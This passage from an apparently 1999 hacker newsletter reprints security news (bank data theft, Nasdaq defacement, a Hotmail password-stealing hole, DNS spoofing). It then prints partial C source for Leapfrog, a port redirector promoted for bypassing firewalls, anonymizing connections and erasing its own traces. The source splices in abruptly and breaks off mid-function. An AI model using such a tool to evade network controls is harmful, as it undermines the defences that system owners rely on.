"There are attacks of varying severity almost on a
daily basis. There have also been a number of
attempts made to hijack our domain name. While I
cannot go into the details of our security measures,
we're comfortable in the knowledge that in the three
years our site has been operational, not a single
hacking attempt has been even remotely
successful."
The problems and surrounding publicity have lifted
traffic to the site. "We've seen a 15 per cent to 20
per cent increase in visits from India since the
blockage was removed," Haroon said.
"Worldwide, we saw our readership increase by
some 20 per cent during the period of the Kargil
conflict. Our experience is that when you attract a
larger number of people than usual because of
some crisis, you tend to retain a substantial fraction
of them after the crisis."
He said Dawn greatly appreciated the united stand
taken by the mainstream Indian press in their
support. In particular the Times of India, the Indian
Express, Rediff.com and the Asian Age, which all
strongly opposed the ban.
"The Asian Age continued to print Dawn's material
as before using their London office to access our
site and download the material. Had our roles been
reversed, we would have taken an equally
supportive stand."
Additional reporting from India done by Vikram
Varma
@HWA
74.0 Czech Bank Threatened by Cyber Terrorists
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by mo0ne
The largest Czech savings bank, Ceska Sporitelna, may
have had large amounts of its data stolen. Local police
investigating the situation have not yet made any
arrests. Customer names, addresses and complete list of
transactions for more than 2.5 million clients are
supposedly no longer in the banks hands. It is unclear
from this article what the thief of this information
wants.
Internet News
http://www.internetnews.com/intl-news/print/0,1089,6_204701,00.html
International News
Unknown Hacker Offers Czech
Savings Bank Data via Net
September 21, 1999
Petr Koubsky, Czech Correspondent
International News Archives
[Prague, CZECH REPUBLIC] Czech police are investigating the case of a hacker
who is offering Internet access to the complete database of client transactions data
of the largest Czech savings bank Ceska sporitelna.
Although the manhunt began September 13, the police have yet to locate the
offender.
Certain Czech companies from various industries obtained the anonymous offer. Its
author claims to have vital data -- among others name, address and complete list of
transactions for any given period -- about the more than 2.5 million of clients of
Ceska sporitelna. Details from the accounts of several randomly selected clients
were enclosed as the evidence, and the sample information was confirmed by the
clients themselves.
The anonymous hacker also published his e-mail address, sporoziro@yahoo.com,
that he offers for communication with media as well as for "business offers."
Ceska sporitelna conceded that privacy of its clients is in serious threat, but denied
that deposits could by in any danger. However, the reputation of the bank was
damaged.
Some sources close to the police say that the attack might primarily be assigned to
hurt the bank and lower its market capitalization; Ceska sporitelna is currently in
the final phase of privatization.
Police also assumes the offender may be an insider at the bank. This theory is
backed by representatives of the IT companies that supplied Ceska sporitelna with
its database system, among them Microsoft and IBM.
Some in the Internet industry fear that the case might be used by politicians as
argument for enforcing the more restrictive Internet access laws. In the present,
Czech Internet laws are quite liberal, but are often vaguely stated.
Copyright 1999 internet.com Corp.
All Rights Reserved. Legal Notices, Reprints.
@HWA
75.0 'Post Mortem' of Nasdaq Released
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by no0ne
London-based mi2g software has claimed to have done
a 'post mortem' of the defacement of the NASDAQ web
site, perpetrated last week by the United Loan Gunmen.
mi2g is claiming that unpatched vulnerabilities in
Microsoft's Internet Information Server were exploited.
(And how do they know this? Are they sure it was IIS
and not NT? Did NASDAQ hire these people to analyze
the logs? Or are they just making stuff up?)
The UK Register
http://www.theregister.co.uk/990920-000012.html
mi2g Software
http://www.mi2g.co.uk/
UK Register;
Posted 20/09/99 12:38pm by Tim Richardson
Nasdaq hacked through MS security hole
Flaws in Microsoft's Internet Information Servers have been blamed for the hack attack
on the Nasdaq and American Stock Exchange Web site last week.
The weaknesses allowed hackers to breach security and trash one of the most high
profile Web sites in the US. The allegation was made by London-based mi2g
software which carried out a post mortem of the hack attack.
"Initial analysis suggests that well publicised vulnerabilities in Microsoft's Internet
Information Server have been exploited," said the report.
"Whilst Microsoft has been regularly issuing software patches for holes found, there is
no guarantee that all patches may have been applied by the network administrators,"
it said.
The attack -- which left graffiti all over the walls of the financial Web site -- was
allegedly carried out by the hacker group "United Loan Gunmen" (ULG).
The most sensitive aspect of the attack is a claim by the ULG that it set up an email
account on Nasdaq's computers.
If this proves to be true, it would mean that ULG obtained "deep access" to the
Nasdaq computer system severely compromising the security of the site.
"On-line financial institutions, bourses and shopping sites ought to be aware that they
need to put Internet security at the top of the board agenda," warned DK Matai, MD of
mi2g software.
Despite being contacted on Friday to discuss the matter, no one from Microsoft was
available for comment by press time. �
@HWA
76.0 DoD Creates Y2K-Alert Levels In case of Sneak Attack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Michelle
The Department of Defense has created various
Y2K-alert levels as part of its contingency plan to deal
with a potential sneak attack as a result of Y2K related
computer failures. The levels cover everything from
widespread systems failures to "opportunistic
engagements" by an opposing nation-state.
Yahoo News
http://dailynews.yahoo.com/h/nm/19990922/ts/yk_usa_2.html
Wednesday September 22 12:24 AM ET
Pentagon Planners Mull Y2K Sneak Attack
By Jim Wolf
WASHINGTON (Reuters) - The Year 2000 computer glitch could open the door to a sneak attack on the United States, especially if many
automated systems crash, the Defense Department said in a contingency-planning memo obtained Tuesday.
To deal with such a threat, the Pentagon is working out worldwide staffing and emergency procedures to cope with vulnerabilities that could be caused by computer
mix-ups, according to the memo from the Joint Chiefs of Staff dated Sept. 10.
The document, sent to U.S. commanders worldwide, spelled out five alert levels to streamline the Defense Department's response.
The highest, ``Y2K Posture Level One,'' would reply to ''widespread'' systems failures sparked by the century date change. It assumes that civilian authorities would
seek military help to cope with disruptions.
In such a case, ``deliberate information operations attacks and opportunistic engagements by hostile forces are possible,'' it said.
``Information operations attacks'' refers to computer-based efforts to knock out critical electronic infrastructure such as financial networks or military data banks.
``Opportunistic engagements'' means surprise attacks timed to cash in on any Y2K-related confusion in the United States, the world's most technologically
dependent nation.
Under such a Y2K-alert level, ``strict'' caps on communications throughout the Defense Department might be imposed, presumably for fear of playing into the hands
of a foe seeking to take advantage of Y2K-related disruptions, the document said.
The memo from the Joint Chiefs assigned the five unified regional war-fighting commands and military services the task of preparing troops, equipment and technical
support personnel for five graduated Y2K-related potential threat levels.
The military would adjust its year-end and early January operations on the basis of those Y2K ``vulnerability'' assessments, the document said. It said the alert level
would be declared, as normal, by Defense Secretary William Cohen.
If a threshold of perceived vulnerability is crossed because of systems failures, Cohen ``will declare a Y2K posture level and the department will respond by
adjusting readiness postures accordingly.''
``Recognizing the uniqueness of each Department of Defense organization, you should develop, promulgate and implement the corresponding Y2K readiness
postures that best prepare your organization to cope with most probable Y2K consequences,'' the memo told commanders, service chiefs and Pentagon agency
heads.
Such preparations were a normal part of military contingency planning not unlike the five levels of readiness for a hurricane, said a spokesman for the Joint Chiefs of
Staff, Navy Lt. Cmdr. Jim Brooks.
``Preparing for Y2K is much like we would do for any potential threat out there,'' he said.
Many military units have been conducting ``tabletop'' exercises to get ready for the Y2K glitch, which may scramble systems that have not been reprogrammed to
recognize the century date change in 101 days.
Such drills, partly to determine where to base equipment such as electric generators and emergency medical supplies, ''have already taken place and they are taking
place,'' Brooks said.
John Hamre, the deputy defense secretary in charge of Y2K at the Pentagon, is ``particularly interested in your assessment of the need to preposition'' personnel and
equipment to cope with any Y2K problems, the memo said.
@HWA
77.0 Another Java Hole in Hotmail
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Code Kid
Another Java related hole in Hotmail allows a malicious
user to steal Hotmail passwords.
C|Net
http://news.cnet.com/news/0-1005-200-122099.html
Hotmail bug allows password theft
By Erich Luening
Staff Writer, CNET News.com
September 22, 1999, 12:45 p.m. PT
Microsoft can't seem to shake the security gremlins from its Hotmail free email service.
The software giant is investigating yet another security dilemma with its Hotmail service that permits the sending of JavaScript
code that could automatically present a bogus password entry screen. Usernames and passwords entered by unsuspecting
users could be collected by the email sender.
Microsoft said it is looking into the issue, although it has not received any other reports on this security problem.
JavaScript is a Web scripting language developed by Netscape Communications for performing actions on Web pages without
user input. The language is commonly used for launching pop-up windows or for scrolling text, but
it has also become a major security headache for browser makers and Web sites like Hotmail
because of its potential usefulness to malicious hackers.
Earlier this month, Microsoft confirmed a JavaScript password-stealing exploit that had the same
effect as the most recent one, but that was implemented differently, according to Georgi Guninski,
a Bulgarian programmer.
Guninski claims the new JavaScript glitch circumvents Hotmail security barriers by placing the
JavaScript in HTML image files.
Microsoft confirmed that the glitch is yet another way to execute malicious code in someone's email.
"We do filter out some JavaScript tags to provide better security, to stop some hacks and spoofs,"
said MSN lead product manager Deanna Sanford. "As we get these reports, we are evaluating
other filters to provide to users. It's an ongoing process."
As an extreme measure to protect against such security breaches, both Guninski and Sanford said users can disable JavaScript
in their browsers.
After a security problem last week exposed Hotmail users to attack, Microsoft acknowledged it was hiring an outside firm to
examine security at the free email service.
@HWA
78.0 Microsoft Launches New Piracy Initiative
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Pir8
Microsoft is going after online pirates in a big way. The
company has recently filed legal action against three
US-based electronic businesses. The companies
operated only through SPAM and delivered pirated
copies of Microsoft products to consumers.
Wired
http://www.wired.com/news/news/business/story/21885.html
Microsoft Gunning for E-Pirates
Wired News Report
12:45 p.m. 22.Sep.99.PDT
Microsoft is putting the full-court press on Net sites selling counterfeit copies of its software.
The company filed legal action against three US-based businesses, citing the electronic stores for consumer deception and distribution of
counterfeit software. The culprit: the oh-so-easy Internet.
"The Internet as a powerful tool of e-commerce is also being used by counterfeiters as an effective mechanism for targeting consumers," said
Microsoft corporate attorney Tim Cranton.
There's nothing new about a crackdown on software piracy, but Microsoft said this piracy operation was unique in the way that it exploited the
Web and email for its purposes.
According to Microsoft, a network of counterfeiters, working independently from home, combined to wreak unprecedented havoc.
"The difference really is the spamming," Cranton said. "What we have is counterfeit distribution that is being effected through unsolicited email
being sent to consumers around the world."
Email was the only source for orders taken by the pirates, Cranton said, adding that this is a new tactic in the area of piracy.
"The consumer doesn't need to leave their house to go to a business," he said. "It just comes right into your living room."
The defendants named in the suit took orders and arranged shipment from their homes without maintaining any inventory, Microsoft said. The Net
also protected their anonymity; the defendants conducted fairly elaborate schemes to hide the origins of their email.
Millions of consumers were targeted by the messages, amd thousands bought software in only a few months. In less than six months, a Microsoft
piracy hotline received more than 2,000 calls from victimized or suspicious consumers.
The callers typically ordered the software only to discover that either it didn't work or the package was incomplete. The spam targeted individuals,
companies, law firms, and government agencies around the world, Microsoft said.
Microsoft hired professional investigators who made their way to the pirates by tracking down the source of the email.
The case is indicative of a larger trend, Cranton said.
"We're seeing a huge increase in the prevalence of counterfeit software over the Internet ... whether through Web sites or auction sites, or
through downloading sites."
Counterfeit software is very professionally packaged and sold in places where they least expect it, and consumers need to be careful, Microsoft
cautioned.
The effort to stem counterfeit sales came one day after the United States said it might appeal a World Trade Organization finding that a US export
tax structure is protectionist and violates international agreements.
The European Union argued that the US plan amounted to an export subsidy for American firms, with Boeing and Microsoft among the chief
beneficiaries.
"This US export subsidy has created an important distortion of international trade by granting an unfair advantage to US products in third markets,"
said Pascal Lamy, the EU's trade chief. "[It] has expanded over the last decade to more sectors, including computer software and agricultural
products."
A spokesman for the US mission to the EU in Brussels had no comment. The United States maintains that its tax structure is consistent with WTO
rules.
@HWA
79.0 Online Investors at Serious Risk
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by st0len
A demonstration at the Smart Card Forum's annual
conference Digital Bond revealed how online investors
are at serious risks from simple attacks. The methods
demonstrated involved spoofing DNS entries to fool
people into entering their username/passwords on fake
sites.
Digital Bond
http://www.digitalbond.com/
Yahoo News
http://biz.yahoo.com/bw/990922/fl_digital_1.html
Wednesday September 22, 7:45 am Eastern Time
Company Press Release
Digital Bond Demonstrates Online Investors at Risk From Simple Criminal
Attack
Digibond(TM) Security Protects the Integrity of Internet Transactions
WASHINGTON--(BUSINESS WIRE)--Sept. 22, 1999-- Digital Bond(TM) revealed today how virtually every investor that
trades over the Internet is at risk from a simple hacker attack. A live demonstration at the Smart Card Forum's annual conference
showed how criminals could gather UserID / Password pairs to have access to investors' accounts. A criminal would use the
investors' money to manipulate a stock price and would make money in the criminal's legitimate account.
The attack involves a simple change in a Domain Name Service (DNS) file. DNS systems are distributed throughout the Internet, so a hacker would only need to
exploit a single ISP or corporate system. Any investors that use this DNS would be sent to hacker sites that looked identical to brokerage sites. After the hacker
collected the UserID / Password pair they would send the investor to the real brokerage site, and the investor would not know they had been compromised.
Additional technical information is available at www.digitalbond.com.
This attack highlights the need for a transaction based security protocol to replace the current session based encryption protocol (SSL). Transaction based security
provides:
-- Identity authentication of investor and brokerages
-- Transaction authentication for every order and receipt
-- Non-repudiation for every order and receipt
-- Unambiguous and secure dispute resolution procedures
The SSL encryption protocol used today by virtually every brokerage provides no transaction security. Plans to add investor and broker certificates in the future may
help provide identity authentication, but will not offer any transaction authentication, non-repudiation, or dispute resolution assistance.
Dale Peterson, President of Digital Bond, said: ``Virtually every other transaction, whether it be credit cards at a restaurant, ATM withdrawals, or wire transfers, has
strong transaction security. Surely the money involved in trading stocks over the Internet requires this same level of security. Our new Digibond secure transaction
system digitally signs every order and every receipt. Both the investor and brokerage can be assured of the integrity of every transaction message.''
For even greater security the investor system is available with a Certicom SC-400 elliptic curve smart card. The smart card, which is a credit card with an embedded
digital signature chip, digitally signs all orders and is used to verify all receipts. It is as easy to use as an ATM card. The investor inserts the smart card in a reader,
and a window to enter their password pops up on the screen. Without both the smart card and password, the investor can not trade on their account. The rest of the
process is automated and requires no additional steps than those needed to trade online today.
The Digibond systems solves a major problem for investors: dispute resolution. Today it is difficult for an investor to prove their claim in a dispute. With the Digibond
system, a digitally signed receipt from the brokerage is irrefutable proof of the transaction. In fact, the Digibond investor system has a dispute button the investor can
click on to send the signed receipt to the brokerage for automated dispute resolution.
Brokerages and other merchants can easily integrate the Digibond system into their network. Existing web server applications simply use Digibond functions for
signing, verifying signatures, and dispute resolution. Most importantly the Digibond system architecture was created to handle the most optimistic estimates for
transaction volume for the next five years. It is a scalable, high performance system.
The Digibond system will secure any two-party transaction. Mr. Peterson said, ``We are initially focused on the Internet brokerage industry, but this solution can
secure Internet prescription services, Internet credit cards, Internet casinos, and other Internet transaction businesses.'' Pilot projects will be announced in October
and initial deployment will start at the beginning of the year 2000, after the Y2K lockdowns are over.
About Digital Bond
Digital Bond was founded by a team of security experts with decades of experience protecting financial transactions. Digital Bond develops leading systems and
services that protect the integrity of Internet transactions. For more information, visit Digital Bond's web site at http://www.digitalbond.com .
About Certicom
Certicom is a leading provider of next-generation encryption technology used to build strong, fast, and efficient security solutions. Major computing and
communications companies, such as 3Com/Palm Computing, BellSouth Wireless Data, Hewlett-Packard, Motorola, Pitney Bowes and VeriFone, incorporate
Certicom's technology into electronic commerce software, wireless messaging applications, and smart cards. Certicom shares are traded on the Toronto Stock
Exchange under the symbol ``CIC.''
For More Information Contact: Digital Bond, Inc. Attn: Dale Peterson 6289 W. Sunrise Blvd., Suite 204 Sunrise, FL 33313 Tel: 954-797-9445 FAX:
954-797-9447 peterson@digitalbond.com www.digitalbond.com
Contact:
Digital Bond, Inc., Sunrise, Fla.
Dale Peterson, 954/797-9445
-=-
@HWA
80.0 Leapfrog 1.0 Released Today
~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by forensic
COTSE today released Leapfrog 1.0, a utility which
anonymizes and redirects any port. It can be used to
work around firewall configuration and other issues
requiring a port redirect. Leapfrog will take any incoming
connections and automatically send them to any other
machine, any other port.
COTSE
http://www.cotse.com/leapfrog.htm
Leapfrog 1.0
Leapfrog will anonymize and redirect any port. It can be used to
work around firewall configuration and other issues requiring a port
redirect.
For example, you have a firewall that does not allow telnet (23), but
it does allow http (80). Set leapfrog up on the other side of the
firewall to listen on port 80 and send to 23, then telnet to port 80 of
the leapfrog machine and you will ricochet to the machine you wish
to connect. You will have the Leapfrog machines' IP and MAC
addresses. It supports unlimited users (well, limited by memory).
Leapfrog can be chained, reconfigured on the fly, and customized to
change ports/machine redirects without the need to log into the box.
It can be configured (with little work) to remove all traces of itself
from disk after being loaded, or it can be configured to log everything
(default). It supports colors and some basic admin tools. It is very
fast.
Leapfrog compiles on Solaris 2.6, 2.7, x86 (2.6, 2.7), Linux with
pthread libs, BSD with pthread libs. Possibly others, but it wasn't
tested on others.
1.0a has been released. This corrects some spelling and format
mistakes as well as corrects a few ifdef's. It also adds the gnu
public license.
leapfrog-1.0/ to caller
Pre compare is address of compare function used
whenever two nodes need to be compared.
Post head has allocated or error returned
Return head node pointer or null if memory overflow
*/
LIST *createList
(int (*compare) (void *argu1, void *argu2))
{
/* Local Declarations */
LIST *list;
/* Statements */
list = (LIST *) malloc (sizeof (LIST));
if (list)
{
list->head = NULL;
list->pos = NULL;
list->rear = NULL;
list->count = 0;
list->compare = compare;
} /* if */
return list;
} /* createList */
/* =============== addNode ============== */
/* Inserts data into linked list.
Pre pList is a pointer to a valid list
dataInPtr is a pointer to data to be inserted
Post data inserted unless dupe key or overflow
Return -1 if overflow, 0 if successful, 1 if dupe key
*/
int addNode (LIST *pList,
void *dataInPtr)
{
/* Local Declarations */
int found;
int success;
NODE *pPre;
NODE *pLoc;
/* Statements */
found = _search (pList, &pPre, &pLoc, dataInPtr);
// if (found == 1)
/* Duplicate keys not allowed */
// return (+1);
success = _insert (pList, pPre, dataInPtr);
if (!success)
/* Overflow */
return (-1);
return (0);
} /* addNode */
/* =============== _insert ============== */
/* Inserts data pointer into a new node in the linked list.
Pre pList is a pointer to a valid list
pPre is a pointer to the data's predecessor
dataInPtr contains data pointer to be inserted
Post data have been inserted in sequence
Return boolean, true if successful,
false if memory overflow.
*/
static int _insert (LIST *pList,
NODE *pPre,
void *dataInPtr)
{
/* Local Declarations */
NODE *pNew;
/* Statements */
if (!(pNew = (NODE *) malloc(sizeof(NODE))))
return 0;
pNew->dataPtr = dataInPtr;
pNew->link = NULL;
if (pPre == NULL)
{
/* Adding before first node or to empty list. */
pNew->link = pList->head;
pList->head = pNew;
if (pList->count == 0)
/* Adding to empty list. Set rear */
pList->rear = pNew;
} /* if pPre */
else
{
/* Adding in middle or at end */
pNew->link = pPre->link;
pPre->link = pNew;
/* Now check for add at end of list */
if (pNew->link == NULL)
pList->rear = pNew;
} /* if else */
(pList->count)++;
return 1;
} /* _insert */
/* =============== removeNode ============== */
/* Removes data from linked list.
Pre pList is a pointer to a valid list
keyPtr is pointer to key to be deleted
dataOutPtr is a pointer to data pointer
Post Node deleted or error returned.
Return false (0) if not found; true (1) if deleted
*/
int removeNode (LIST *pList,
void *keyPtr,
void **dataOutPtr)
{
/* Local Declarations */
int found;
NODE *pPre;
NODE *pLoc;
/* Statements */
found = _search (pList, &pPre, &pLoc, keyPtr);
if (found)
_delete (pList, pPre, pLoc, dataOutPtr);
return found;
} /* removeNode */
/* =============== _delete ============== */
/* Deletes data from a linked list and returns
pointer to data to calling module.
Pre pList is a pointer to a valid list.
pPre is a pointer to predecessor node
pLoc is a pointer to target node
dataOutPtr is pointer to data pointer
Post Data have been deleted and returned
Data memory has been freed
*/
void _delete (LIST *pList,
NODE *pPre,
NODE *pLoc,
void **dataOutPtr)
{
/* Statements */
*dataOutPtr = pLoc->dataPtr;
if (pPre == NULL)
/* Deleting first node */
pList->head = pLoc->link;
else
/* Deleting any other node */
pPre->link = pLoc->link;
/* Test for deleting last node */
if (pLoc->link == NULL)
pList->rear = pPre;
(pList->count)--;
free (pLoc);
return;
} /* _delete */
/* =============== searchList ============== */
/* Interface to search function.
Pre pList is a pointer to an initialized list.
pArgu is pointer to key being sought
Post pDataOut contains pointer to found data
-or- NULL if not found
Return boolean true if successful, false if not found.
*/
int searchList (LIST *pList,
void *pArgu,
void **pDataOut)
{
/* Local Declarations */
int found;
NODE *pPre;
NODE *pLoc;
/* Statements */
found = _search (pList, &pPre, &pLoc, pArgu);
if (found)
*pDataOut = pLoc->dataPtr;
else
*pDataOut = NULL;
return found;
} /* searchList */
/* =============== _search ============== */
/* Searches list and passes back address of node containing
target and its logical predecessor.
Pre pList is a pointer to an initialized list.
pPre is pointer variable to receive predecessor
pLoc is pointer variable to receive node
pArgu is pointer to key being sought
Post pLoc points to first node equal/greater key
-or- null if target > key of last node
pPre points to largest node smaller than key
-or- null if target < key of first node
Return boolean true if successful, false if not found.
*/
int _search (LIST *pList,
NODE **pPre,
NODE **pLoc,
void *pArgu)
{
/* Macro Definition */
#define COMPARE (((* pList->compare) (pArgu, (*pLoc)->dataPtr)))
#define COMPARE_LAST ((* pList->compare) (pArgu, pList->rear->dataPtr))
/* Local Declarations */
int result;
/* Statements */
*pPre = NULL;
*pLoc = pList->head;
if (pList->count == 0)
return 0;
/* Test for argument > last node in list */
if ( COMPARE_LAST > 0)
{
*pPre = pList->rear;
*pLoc = NULL;
return 0;
} /* if */
while ( (result = COMPARE) > 0 )
{
/* Have not found search argument location */
*pPre = *pLoc;
*pLoc = (*pLoc)->link;
} /* while */
if (result == 0)
/* argument found--success */
return 1;
else
return 0;
} /* _search */
/* =============== retrieveNode ============== */
/* This algorithm retrieves data in the list without
changing the list contents.
Pre pList is a pointer to an initialized list.
pArgu is a pointer to key of data to be retrieved
Post Data (pointer) passed back to caller
Return boolean true if successful,
false if underflow.
*/
static int retrieveNode (LIST *pList,
void *pArgu,
void **dataOutPtr)
{
/* Local Declarations */
int found;
NODE *pPre;
NODE *pLoc;
/* Statements */
found = _search (pList, &pPre, &pLoc, pArgu);
if (found)
{
*dataOutPtr = pLoc->dataPtr;
return 1;
} /* if */
*dataOutPtr = NULL;
return 0;
} /* retrieveNode */
/* =============== emptyList ============== */
/* Returns boolean indicating whether or not the
list is empty
Pre pList is a pointer to a valid list
Return boolean true if empty, false if list has data
*/
int emptyList (LIST *pList)
{
/* Statements */
return (pList->count == 0);
} /* emptyList */
/* =============== fullList ============== */
/* Returns boolean indicating no room for more data. The list
is full if memory cannot be allocated for another node.
Pre pList is a pointer to a valid list
Return boolean true if full,
false if room for another node.
*/
int fullList (LIST *pList)
{
/* Local Declarations */
NODE *temp;
/* Statements */
if ((temp = (NODE *)malloc (sizeof (NODE))))
{
free (temp);
return 0;
}
/* Dynamic memory full */
return 1;
} /* fullList */
/* =============== listCount =============== */
/* Returns integer representing number of nodes in list.
Pre pList is a pointer to a valid list
Return count for number of nodes in list
*/
int listCount(LIST *pList)
{
/* Statements */
return pList->count;
} /* listCount */
/* =============== traverse ============== */
/* Traverses a linked list. Each call either starts at
the beginning of list or returns the location of the
element in the list that was last returned.
Pre pList is a pointer to a valid list
fromWhere is 0 to start at the first element
dataPtrOut is address of a pointer to data
Post if another element, address placed in dataPtr
Return true if another element located,
false if end of list
*/
int traverse (LIST *pList,
int fromWhere,
void **dataPtrOut)
{
/* Local Declarations */
int success;
/* Statements */
if (fromWhere == 0)
{
/*Start from first node */
if (pList->count == 0)
success = 0;
else
{
pList->pos = pList->head;
*dataPtrOut = pList->pos->dataPtr;
success = 1;
} /* if else */
} /* if fromwhere */
else
{
/* Start from current position */
if (pList->pos->link == NULL)
success = 0;
else
{
pList->pos = pList->pos->link;
*dataPtrOut = pList->pos->dataPtr;
success = 1;
} /* if else */
} /* if fromwhere else */
return success;
} /* traverse */
/* =============== destroyList ============== */
/* Deletes all data in list and recycles memory
Pre List is a pointer to a valid list.
Post All data and head structure have been deleted.
Return null head pointer
*/
LIST *destroyList (LIST *pList)
{
/* Local Declarations */
NODE *deletePtr;
/* Statements */
if (pList)
{
while (pList->count > 0)
{
/* First delete data */
free (pList->head->dataPtr);
/* Now delete node */
deletePtr = pList->head;
pList->head = pList->head->link;
pList->count--;
free (deletePtr);
}
free (pList);
} /* if */
return NULL;
} /* destroyList */
lso if you want to make a little more fucntionality, that is if you want to have functions in which the
users can access while connected follow the command strcut and add the functions as done with the command_func
from link.h f()() is all, Follow the all[] array and the foramt i have created,
nothing tricky here. You can use the input( arg ) function (takes a struct frog *).
Just follow the examples I have created in the port+1 section of the code. Get input gets keyed/data input
and returns 1 on good input and -1 if the user has not hit a key within 30seconds (timeout).
Linked_list taken from: Brooks/Cole Publishing Company, see linked_list.h for disclaimer
To change port to bind to edit include/config.h for user configs and then run make again
NOTES:
if you are going through a firewall connections may need to go through opened firewall ports
WISH LIST:
Next version I will clean up the code, and allow the user to drop to a shell localy
Also I will create a nice admin interface on the port+1 to do local things...
Web Site:
www.cotse.com
*/
/* server */
/* #define _REENTRANT */
#include "include/config.h"
#include <signal.h>
#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <malloc.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <arpa/telnet.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <sys/un.h>
#ifdef SOLARIS
#include <sys/filio.h>
#endif
#include <netinet/in.h>
#include "include/link.h"
#include "include/linked_list.h"
#include "include/proto.h"
#include "include/version.h"
// the old redhat4 defs go back to previos redhat implentations before pthreads came standard
#ifdef REDHAT4
#include </usr/include/pthread/mit/pthread.h>
#endif
#ifdef REDHAT5
#include <pthread.h>
#endif
#define IPROTO 0
#ifdef SOLARIS
extern int close (int);
extern int socket (int, int, int);
#if !defined(LINUX)
//extern int getsockopt (int, int, int, char *, int *);
extern void bzero (char *, int);
#endif /* LINUX */
extern int listen (int, int);
#endif /* SOLARIS */
/* Local Function Prototypes */
char *first_char(char *line);
void init_socket(int port);
void who(struct frog *p, char *str);
void send_fd(struct frog *p, char *str);
void cls(struct frog *p, char *str);
void close_socket(struct frog *current);
void get_input(struct frog *current);
void show_login(struct frog *p);
void password_mode_on(struct frog *p);
void password_mode_off(struct frog *p);
void do_prompt(struct frog *p);
void hitells(struct frog *p, char *str);
void shut_down(struct frog *p, char *str);
void time_logged_in(struct frog *p, int x);
void init_signals();
void log_file(char *file, char *string, ...);
void alive_connect(void);
char *sys_time(void);
int input(struct frog *p);
struct terminal terms[] = {
{"xterm", "\033[1m", "\033[m", "\033[H\033[2J"},
{"vt220", "\033[1m", "\033[m", "\033[H\033[J"},
{"vt100", "\033[1m", "\033[m", "50\033[;H\0332J"},
{"vt102", "\033[1m", "\033[m", "50\033["},
{"ansi", "\033[1m", "\033[0m", "50\033[;H\0332J"},
{"wyse-30", "\033G4", "\033G0", ""},
{"tvi912", "\033l", "\033m", "\032"},
{"sun", "\033[1m", "\033[m", "\014"},
{"adm", "\033)", "\033(", "1\032"},
{"hp2392", "\033&dB", "\033&d@", "\033H\033J"},
{"java","","",""},
{0, "", "", ""}
};
// struct to hold any function calls made by connected, will work for admin tools
struct command all[] =
{
{"cls",cls,0,0,0,0},
{"help",view_commands,0,0,0,0},
{"time",time_up,0,0,0,0},
{0, 0, 0, 0, 0, 0, 0}
};
/* Local/global Variables */
int RAMUSED;
int mainsock;
pid_t pid;
FILE *wt;
int in_current=0;
int in_pack_current=0;
int out_current=0;
int out_pack_current=0;
int logins;
int current_online;
int alive_descriptor;
// mutexs not used in this program, can be used though
pthread_mutex_t linked_list = PTHREAD_MUTEX_INITIALIZER;
void* serverWatch( void* );
void* serverClient( struct player_t *p_t);
void* configWatch( void* );
void* configClient( struct player_t *p_t);
// port to def listen on
int main_descriptor;
// port to def+1 listen on config thread
int config_descriptor;
// time value
time_t timeval;
int main ( void )
{
pthread_t watcher_thr,watcher_thr2;
RAMUSED=0;
log_file("server","Trying to connect to port....\n");
if (VERBOSE)
printf("trying to connect to port..\n");
// init the socket for use on SERVERPORT
init_socket(SERVERPORT);
// create thread for def port
pthread_create(&watcher_thr,NULL,serverWatch,(void*)NULL);
// create thread for def+1 port config thread we pass null b/c we have nothing to pass
pthread_create(&watcher_thr2,NULL,configWatch,(void*)NULL);
/* random number generation */
srand((unsigned int)getpid());
// Start our signal Handlers
init_signals();
for (;;)
{
// we will sleep here for 30 minutes then will sync all files at that time
// that is 1800 seconds == 30 mins
sleep(1800);
if (1)
{
// do whatever in here I write out to a log for sanity every 30mins
log_file("sync.fil","Sanity\n");
}
else
{
// ditto
log_file("sync.fil","Ratts No Sanity?\n");
}
}
exit(0);
}
/* log files */
void log_file(char *file, char *string, ...)
{
va_list argnum;
char stack[255],data[255];
int fd, length;
// they dont/do want logging
#if !defined(LOGGING)
return;
#endif
va_start(argnum, string);
vsprintf(data,string,argnum);
va_end(argnum);
sprintf(stack, "%slogs/%s.log", ROOT, file);
fd = open(stack, O_CREAT | O_WRONLY | O_SYNC, S_IRUSR | S_IWUSR);
length = lseek(fd, 0, SEEK_END);
write(fd, data, strlen(data));
close(fd);
}
/* not areal lot done here just old style signal handler */
void sig_exit(int crap)
{
char buf[255];
if (VERBOSE)
printf("Signal Caught sig_exit. Exiting Cleanly.\n");
sprintf(buf,"Signal %d caught sig_exit exiting cleanly?\n",crap);
log_file("signals",buf);
}
void sig_segv(int crap)
{
char buf[255];
if (VERBOSE)
printf("Segmentation Violation Caught. Exiting Cleanly\n");
sprintf(buf,"Signal %d caught exiting cleanly? Seg Violation\n",crap);
log_file("signals",buf);
// lets try to sync all the files now....
pthread_mutex_unlock(&linked_list);
exit(crap);
}
void sig_kill(int crap)
{
char buf[255];
if (VERBOSE)
printf("Signal %d caught, Kill caught, exiting cleanly?\n",crap);
sprintf(buf,"Signal %d caught, Kill caught, exiting cleanly?\n",crap);
log_file("signals",buf);
exit(crap);
return;
}
void sig_usr(int crap)
{
char buf[255];
if (VERBOSE)
printf("Signal %d caught, sig usr 1 or 2 or neither, exiting cleanly?\n",crap);
if ((crap==SIGUSR1))
sprintf(buf,"Signal %d caught, sig usr2, exiting cleanly?\n",crap);
else
if ((crap==SIGUSR2))
